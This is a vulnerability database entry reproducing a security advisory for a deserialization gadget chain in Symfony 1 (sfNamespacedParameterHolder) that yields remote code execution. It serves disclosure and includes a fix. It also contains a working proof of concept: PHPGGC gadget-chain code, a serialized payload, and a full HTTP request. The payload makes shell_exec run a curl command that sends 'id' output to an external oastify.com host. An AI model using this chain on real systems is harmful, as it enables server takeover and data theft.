Lucene search

K
friendsofphpOpenJS FoundationFRIENDSOFPHP:FRIENDSOFSYMFONY1:SYMFONY1:CVE-2024-28861
HistoryMar 19, 2024 - 1:59 p.m.

Deserialization Gadget chain in Symfony sfNamespacedParameterHolder

2024-03-1913:59:00
OpenJS Foundation
github.com
8
symfony 1
sfnamespacedparameterholder
gadget chain
deserialization
remote code execution
unserialize
symfony
http request
security vulnerability
phpggc
exploit
gadget chain
shell_exec

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

8.4

Confidence

Low

EPSS

0

Percentile

9.0%

Description Summary Symfony 1 has a gadget chain due to dangerous unserialize in sfNamespacedParameterHolder class that would enable an attacker to get remote code execution if a developer unserialize user input in his project. Details This vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example: public function executeIndex(sfWebRequest $request) { $a = unserialize($request->getParameter(‘user’)); } We will make the assumption this is the case in the rest of this explanation. Symfony 1 provides the class sfNamespacedParameterHolder which implements Serializable interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing unserialize() method: public function unserialize($serialized) { $this->__unserialize(unserialize($serialized)); } Which make an array access on the deserialized data without control on the type of the $data parameter: public function __unserialize($data) { $this->default_namespace = $data[0]; $this->parameters = $data[1]; } Thus, an attacker provide any object type in $data to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on $data[0] for any class implementing ArrayAccess interface. sfOutputEscaperArrayDecorator implements such interface. Here is the call made on offsetGet(): public function offsetGet($offset) { $value = isset($this->value[$offset]) ? $this->value[$offset] : null; return sfOutputEscaper::escape($this->escapingMethod, $value); } Which trigger escape() in sfOutputEscaper class with attacker controlled parameters from deserialized object with $this->escapingMethod and $this->value[$offset]: public static function escape($escapingMethod, $value) { if (null === $value) { return $value; } // Scalars are anything other than arrays, objects and resources. if (is_scalar($value)) { return call_user_func($escapingMethod, $value); } Which calls call_user_func with previous attacker controlled input. PoC So we need the following object to trigger an OS command like shell_exec(“curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)”);: object(sfNamespacedParameterHolder)#4 (1) { [“prop”:protected]=> object(sfOutputEscaperArrayDecorator)#3 (2) { [“value”:protected]=> array(1) { [0]=> string(66) “curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)” } [“escapingMethod”:protected]=> string(10) “shell_exec” } } We craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before: gadgets.php: class sfOutputEscaperArrayDecorator { protected $value; protected $escapingMethod; public function __construct($escapingMethod, $value) { $this->escapingMethod = $escapingMethod; $this->value = $value; } } class sfNamespacedParameterHolder implements Serializable { protected $prop = null; public function __construct($prop) { $this->prop = $prop; } public function serialize() { return serialize($this->prop); } public function unserialize($serialized) { } } chain.php: namespace GadgetChain\Symfony; class RCE16 extends \PHPGGC\GadgetChain\RCE\FunctionCall { public static $version = ‘1.1.0 <= 1.5.18’; public static $vector = ‘Serializable’; public static $author = ‘darkpills’; public static $information = ‘’; public function generate(array $parameters) { $escaper = new \sfOutputEscaperArrayDecorator($parameters[‘function’], array($parameters[‘parameter’])); $tableInfo = new \sfNamespacedParameterHolder($escaper); return $tableInfo; } } And trigger the deserialization with an HTTP request like the following on a dummy test controller: POST /frontend_dev.php/test/index HTTP/1.1 Host: localhost:8001 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 532 user=C%3A27%3A%22sfNamespacedParameterHolder%22%3A183%3A%7BO%3A29%3A%22sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A66%3A%22curl+https%3A%2F%2F7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7D Note that CVSS score is not applicable to this kind of vulnerability. Impact The attacker can execute any PHP command which leads to remote code execution. Recommendation I recommend to add a type checking before doing any processing on the unserialized input like this example: public function unserialize($data) { if (is_array($data)) { $this->default_namespace = $data[0]; $this->parameters = $data[1]; } else { $this->default_namespace = null; $this->parameters = array(); // or throw an exception maybe? } } This fix should be applied in both sfNamespacedParameterHolder and sfParameterHolder.

Affected configurations

Vulners
Node
friendsofsymfony1symfony1Range<1.5.19
VendorProductVersionCPE
friendsofsymfony1symfony1*cpe:2.3:a:friendsofsymfony1:symfony1:*:*:*:*:*:*:*:*

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

8.4

Confidence

Low

EPSS

0

Percentile

9.0%

Related for FRIENDSOFPHP:FRIENDSOFSYMFONY1:SYMFONY1:CVE-2024-28861